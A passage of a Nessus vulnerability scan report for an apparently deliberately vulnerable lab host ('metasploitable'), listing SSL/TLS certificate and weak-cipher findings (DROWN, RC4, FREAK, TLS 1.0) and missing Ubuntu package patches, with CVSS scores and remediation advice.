    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export
    ADH-DES-CBC-SHA               0x00, 0x1A       DH            None     DES-CBC(56)
 SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ADH-DES-CBC3-SHA              0x00, 0x1B       DH            None     3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ADH-AES128-SHA                0x00, 0x34       DH            None     AES-CBC(128)
 SHA1
    ADH-AES256-SHA                0x00, 0x3A       DH            None     AES-CBC(256)
 SHA1
    ADH-RC4-MD5                   0x00, 0x18       DH            None     RC4(128)               MD5

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 51192 - SSL Certificate Cannot Be Trusted

### Synopsis

The SSL certificate for this service cannot be trusted.

### Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

### See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

### Solution

Purchase or generate a proper SSL certificate for this service.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

### CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

## Plugin Information

Published: 2010/12/15, Modified: 2025/06/16

## Plugin Output

tcp/25/smtp

```

The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

## 51192 - SSL Certificate Cannot Be Trusted

### Synopsis

The SSL certificate for this service cannot be trusted.

### Description

The server's X.509 certificate cannot be trusted. This situation can occur in three different ways, in which the chain of trust can be broken, as stated below :

- First, the top of the certificate chain sent by the server might not be descended from a known public certificate authority. This can occur either when the top of the chain is an unrecognized, self-signed certificate, or when intermediate certificates are missing that would connect the top of the certificate chain to a known public certificate authority.

- Second, the certificate chain may contain a certificate that is not valid at the time of the scan. This can occur either when the scan occurs before one of the certificate's 'notBefore' dates, or after one of the certificate's 'notAfter' dates.

- Third, the certificate chain may contain a signature that either didn't match the certificate's information or could not be verified. Bad signatures can be fixed by getting the certificate with the bad signature to be re-signed by its issuer. Signatures that could not be verified are the result of the certificate's issuer using a signing algorithm that Nessus either does not support or does not recognize.

If the remote host is a public host in production, any break in the chain makes it more difficult for users to verify the authenticity and identity of the web server. This could make it easier to carry out man-in-the-middle attacks against the remote host.

### See Also

https://www.itu.int/rec/T-REC-X.509/en

https://en.wikipedia.org/wiki/X.509

### Solution

Purchase or generate a proper SSL certificate for this service.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

### CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

## Plugin Information

Published: 2010/12/15, Modified: 2025/06/16

## Plugin Output

tcp/5432/postgresql

```

The following certificate was part of the certificate chain
sent by the remote host, but it has expired :

|-Subject   : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Not After : Apr 16 14:07:45 2010 GMT

The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
|-Issuer  : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

## 15901 - SSL Certificate Expiry

### Synopsis

The remote server's SSL certificate has already expired.

### Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

### Solution

Purchase or generate a new SSL certificate to replace the existing one.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

### Plugin Output

tcp/25/smtp

```

The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

## 15901 - SSL Certificate Expiry

### Synopsis

The remote server's SSL certificate has already expired.

### Description

This plugin checks expiry dates of certificates associated with SSL- enabled services on the target and reports whether any have already expired.

### Solution

Purchase or generate a new SSL certificate to replace the existing one.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### Plugin Information

Published: 2004/12/03, Modified: 2021/02/03

### Plugin Output

tcp/5432/postgresql

```
The SSL certificate has already expired :

  Subject          : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Issuer           : C=XX, ST=There is no such thing outside US, L=Everywhere, O=OCOSA,
 OU=Office for Complication of Otherwise Simple Affairs, CN=ubuntu804-base.localdomain,
 emailAddress=root@ubuntu804-base.localdomain
  Not valid before : Mar 17 14:07:45 2010 GMT
  Not valid after  : Apr 16 14:07:45 2010 GMT
```

## 45411 - SSL Certificate with Wrong Hostname

### Synopsis

The SSL certificate for this service is for a different host.

### Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

### Solution

Purchase or generate a proper SSL certificate for this service.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

### Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

### Plugin Output

tcp/25/smtp

```
The identities known by Nessus are :

  127.0.0.1
  192.168.50.101
  ::1
  ['ipv6': ::1]['scope': host]['prefixlen': 128]
  ['ipv6': fe80::a00:27ff:fe3d:294]['scope': link]['prefixlen': 64]
  fe80::a00:27ff:fe3d:294
  metasploitable
  192.168.50.101

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

# 45411 - SSL Certificate with Wrong Hostname

## Synopsis

The SSL certificate for this service is for a different host.

## Description

The 'commonName' (CN) attribute of the SSL certificate presented for this service is for a different machine.

## Solution

Purchase or generate a proper SSL certificate for this service.

## Risk Factor

Medium

## CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)

## CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

## Plugin Information

Published: 2010/04/03, Modified: 2020/04/27

## Plugin Output

tcp/5432/postgresql

```

The identities known by Nessus are :

  127.0.0.1
  192.168.50.101
  ::1
  ['ipv6': ::1]['scope': host]['prefixlen': 128]
  ['ipv6': fe80::a00:27ff:fe3d:294]['scope': link]['prefixlen': 64]
  fe80::a00:27ff:fe3d:294
  metasploitable
  192.168.50.101

The Common Name in the certificate is :

  ubuntu804-base.localdomain
```

## 89058 - SSL DROWN Attack Vulnerability (Decrypting RSA with Obsolete and Weakened eNcryption)

### Synopsis

The remote host may be affected by a vulnerability that allows a remote attacker to potentially decrypt captured TLS traffic.

### Description

The remote host supports SSLv2 and therefore may be affected by a vulnerability that allows a cross-protocol Bleichenbacher padding oracle attack known as DROWN (Decrypting RSA with Obsolete and Weakened eNcryption). This vulnerability exists due to a flaw in the Secure Sockets Layer Version 2 (SSLv2) implementation, and it allows captured TLS traffic to be decrypted. A man-in-the-middle attacker can exploit this to decrypt the TLS connection by utilizing previously captured traffic and weak cryptography along with a series of specially crafted connections to an SSLv2 server that uses the same private key.

### See Also

https://drownattack.com/

https://drownattack.com/drown-attack-paper.pdf

### Solution

Disable SSLv2 and export grade cryptography cipher suites. Ensure that private keys are not used anywhere with server software that supports SSLv2 connections.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v3.0 Temporal Score

5.2 (CVSS:3.0/E:U/RL:O/RC:C)

### VPR Score

3.6

### EPSS Score

0.9015

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

## CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 83733 |
| CVE | CVE-2016-0800 |
| XREF | CERT:583776 |

## Plugin Information

Published: 2016/03/01, Modified: 2025/04/04

## Plugin Output

tcp/25/smtp

```

The remote host is affected by SSL DROWN and supports the following
vulnerable cipher suites :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC2-CBC-MD5               0x04, 0x00, 0x80 RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x02, 0x00, 0x80 RSA(512)      RSA      RC4(40)                MD5
       export

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x01, 0x00, 0x80 RSA           RSA      RC4(128)               MD5

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

### Synopsis

The remote service supports the use of the RC4 cipher.

### Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

### See Also

https://www.rc4nomore.com/

http://www.nessus.org/u?ac7327a0

http://cr.yp.to/talks/2013.03.12/slides.pdf

http://www.isg.rhul.ac.uk/tls/

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

### Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

### VPR Score

7.3

### EPSS Score

0.904

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

4.2 (CVSS2#E:U/RL:ND/RC:C)

References

| | |
|---|---|
| BID | 58796 |
| BID | 73684 |
| CVE | CVE-2013-2566 |
| CVE | CVE-2015-2808 |

Plugin Information

Published: 2013/04/05, Modified: 2025/05/09

Plugin Output

tcp/25/smtp

```

List of RC4 cipher suites supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC4-MD5                   0x02, 0x00, 0x80 RSA(512)      RSA      RC4(40)                MD5
       export
    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export
    EXP-RC4-MD5                   0x00, 0x03       RSA(512)      RSA      RC4(40)                MD5
       export

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                       0x01, 0x00, 0x80 RSA           RSA      RC4(128)               MD5
    ADH-RC4-MD5                   0x00, 0x18       DH            None     RC4(128)               MD5
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)

### Synopsis

The remote service supports the use of the RC4 cipher.

### Description

The remote host supports the use of RC4 in one or more cipher suites.

The RC4 cipher is flawed in its generation of a pseudo-random stream of bytes so that a wide variety of small biases are introduced into the stream, decreasing its randomness.

If plaintext is repeatedly encrypted (e.g., HTTP cookies), and an attacker is able to obtain many (i.e., tens of millions) ciphertexts, the attacker may be able to derive the plaintext.

### See Also

https://www.rc4nomore.com/

http://www.nessus.org/u?ac7327a0

http://cr.yp.to/talks/2013.03.12/slides.pdf

http://www.isg.rhul.ac.uk/tls/

https://www.imperva.com/docs/HII_Attacking_SSL_when_using_RC4.pdf

### Solution

Reconfigure the affected application, if possible, to avoid use of RC4 ciphers. Consider using TLS 1.2 with AES-GCM suites subject to browser and web server support.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.9 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)

### CVSS v3.0 Temporal Score

5.4 (CVSS:3.0/E:U/RL:X/RC:C)

### VPR Score

7.3

### EPSS Score

0.904

## CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

## CVSS v2.0 Temporal Score

4.2 (CVSS2#E:U/RL:ND/RC:C)

## References

| | |
|---|---|
| BID | 58796 |
| BID | 73684 |
| CVE | CVE-2013-2566 |
| CVE | CVE-2015-2808 |

## Plugin Information

Published: 2013/04/05, Modified: 2025/05/09

## Plugin Output

tcp/5432/postgresql

```
List of RC4 cipher suites supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 57582 - SSL Self-Signed Certificate

### Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

### Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

### Solution

Purchase or generate a proper SSL certificate for this service.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

### CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

### Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

### Plugin Output

tcp/25/smtp

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

## 57582 - SSL Self-Signed Certificate

### Synopsis

The SSL certificate chain for this service ends in an unrecognized self-signed certificate.

### Description

The X.509 certificate chain for this service is not signed by a recognized certificate authority. If the remote host is a public host in production, this nullifies the use of SSL as anyone could establish a man-in-the-middle attack against the remote host.

Note that this plugin does not check for certificate chains that end in a certificate that is not self-signed, but is signed by an unrecognized certificate authority.

### Solution

Purchase or generate a proper SSL certificate for this service.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

### CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

### Plugin Information

Published: 2012/01/17, Modified: 2022/06/14

### Plugin Output

tcp/5432/postgresql

```
The following certificate was found at the top of the certificate
chain sent by the remote host, but is self-signed and was not
found in the list of known certificate authorities :

|-Subject : C=XX/ST=There is no such thing outside US/L=Everywhere/O=OCOSA/OU=Office for
 Complication of Otherwise Simple Affairs/CN=ubuntu804-base.localdomain/E=root@ubuntu804-
base.localdomain
```

## 26928 - SSL Weak Cipher Suites Supported

### Synopsis

The remote service supports the use of weak SSL ciphers.

### Description

The remote host supports the use of SSL ciphers that offer weak encryption.

Note: This is considerably easier to exploit if the attacker is on the same physical network.

### See Also

http://www.nessus.org/u?6527892d

### Solution

Reconfigure the affected application, if possible to avoid the use of weak ciphers.

### Risk Factor

Medium

### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

### References

| | |
|---|---|
| XREF | CWE:326 |
| XREF | CWE:327 |
| XREF | CWE:720 |
| XREF | CWE:753 |
| XREF | CWE:803 |
| XREF | CWE:928 |
| XREF | CWE:934 |

### Plugin Information

Published: 2007/10/08, Modified: 2021/02/03

### Plugin Output

## tcp/25/smtp

```

Here is the list of weak SSL ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC2-CBC-MD5               0x04, 0x00, 0x80 RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x02, 0x00, 0x80 RSA(512)      RSA      RC4(40)                MD5
       export
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA           0x00, 0x15       DH            RSA      DES-CBC(56)
 SHA1
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export
    ADH-DES-CBC-SHA               0x00, 0x1A       DH            None     DES-CBC(56)
 SHA1
    EXP-DES-CBC-SHA               0x00, 0x08       RSA(512)      RSA      DES-CBC(40)
 SHA1      export
    EXP-RC2-CBC-MD5               0x00, 0x06       RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x00, 0x03       RSA(512)      RSA      RC4(40)                MD5
       export
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 81606 - SSL/TLS EXPORT_RSA <= 512-bit Cipher Suites Supported (FREAK)

### Synopsis

The remote host supports a set of weak ciphers.

### Description

The remote host supports EXPORT_RSA cipher suites with keys less than or equal to 512 bits. An attacker can factor a 512-bit RSA modulus in a short amount of time.

A man-in-the middle attacker may be able to downgrade the session to use EXPORT_RSA cipher suites (e.g. CVE-2015-0204). Thus, it is recommended to remove support for weak cipher suites.

### See Also

https://www.smacktls.com/#freak

https://www.openssl.org/news/secadv/20150108.txt

http://www.nessus.org/u?b78da2c4

### Solution

Reconfigure the service to remove support for EXPORT_RSA cipher suites.

### Risk Factor

Medium

### VPR Score

1.4

### EPSS Score

0.9191

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 71936 |
| CVE | CVE-2015-0204 |

XREF CERT:243585

## Plugin Information

Published: 2015/03/04, Modified: 2021/02/03

## Plugin Output

tcp/25/smtp

```

EXPORT_RSA cipher suites supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-DES-CBC-SHA               0x00, 0x08       RSA(512)      RSA      DES-CBC(40)
 SHA1      export
    EXP-RC2-CBC-MD5               0x00, 0x06       RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x00, 0x03       RSA(512)      RSA      RC4(40)                MD5
       export

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 104743 - TLS Version 1.0 Protocol Detection

### Synopsis

The remote service encrypts traffic using an older version of TLS.

### Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

### See Also

https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00

### Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

### CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:327 |

### Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

### Plugin Output

tcp/25/smtp

```
TLSv1 is enabled and the server supports at least one cipher.
```

## 104743 - TLS Version 1.0 Protocol Detection

### Synopsis

The remote service encrypts traffic using an older version of TLS.

### Description

The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a number of cryptographic design flaws. Modern implementations of TLS 1.0 mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that aren't enabled for TLS 1.2 and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30, 2018, except for POS POI terminals (and the SSL/TLS termination points to which they connect) that can be verified as not being susceptible to any known exploits.

### See Also

https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00

### Solution

Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.

### Risk Factor

Medium

### CVSS v3.0 Base Score

6.5 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N)

### CVSS v2.0 Base Score

6.1 (CVSS2#AV:N/AC:H/Au:N/C:C/I:P/A:N)

### References

| | |
|---|---|
| XREF | CWE:327 |

### Plugin Information

Published: 2017/11/22, Modified: 2023/04/19

### Plugin Output

## tcp/5432/postgresql

```
TLSv1 is enabled and the server supports at least one cipher.
```

## 36805 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : dbus vulnerabilities (USN-653-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Havoc Pennington discovered that the D-Bus daemon did not correctly validate certain security policies. If a local user sent a specially crafted D-Bus request, they could bypass security policies that had a 'send_interface' defined. (CVE-2008-0595)

It was discovered that the D-Bus library did not correctly validate certain corrupted signatures. If a local user sent a specially crafted D-Bus request, they could crash applications linked against the D-Bus library, leading to a denial of service. (CVE-2008-3834).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/653-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

7.3

### EPSS Score

0.0117

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2008-0595 |
| CVE | CVE-2008-3834 |
| XREF | USN:653-1 |

| | |
|---|---|
| XREF | CWE:20 |
| XREF | CWE:264 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libdbus-1-3_1.1.20-1ubuntu1
  - Fixed package     : libdbus-1-3_1.1.20-1ubuntu3.1
```

## 34094 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : libxml2 vulnerability (USN-640-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Andreas Solberg discovered that libxml2 did not handle recursive entities safely. If an application linked against libxml2 were made to process a specially crafted XML document, a remote attacker could exhaust the system's CPU resources, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/640-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0053

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 30783 |
| CVE | CVE-2008-3281 |
| XREF | USN:640-1 |

| | |
|---|---|
| XREF | CWE:399 |

## Plugin Information

Published: 2008/09/05, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.1
```

## 33941 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : postfix vulnerability (USN-636-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Sebastian Krahmer discovered that Postfix was not correctly handling mailbox ownership when dealing with Linux's implementation of hardlinking to symlinks. In certain mail spool configurations, a local attacker could exploit this to append data to arbitrary files as the root user. The default Ubuntu configuration was not vulnerable.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/636-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

8.9

### EPSS Score

0.0023

### CVSS v2.0 Base Score

6.2 (CVSS2#AV:L/AC:H/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

4.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 30691 |
| CVE | CVE-2008-2936 |

| | |
|---|---|
| XREF | USN:636-1 |
| XREF | CWE:264 |

## Plugin Information

Published: 2008/08/20, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : postfix_2.5.1-2ubuntu1
  - Fixed package     : postfix_2.5.1-2ubuntu1.1
```

## 37148 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : curl vulnerability (USN-726-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that curl did not enforce any restrictions when following URL redirects. If a user or automated system were tricked into opening a URL to an untrusted server, an attacker could use redirects to gain access to arbitrary files. This update changes curl behavior to prevent following 'file' URLs after a redirect.

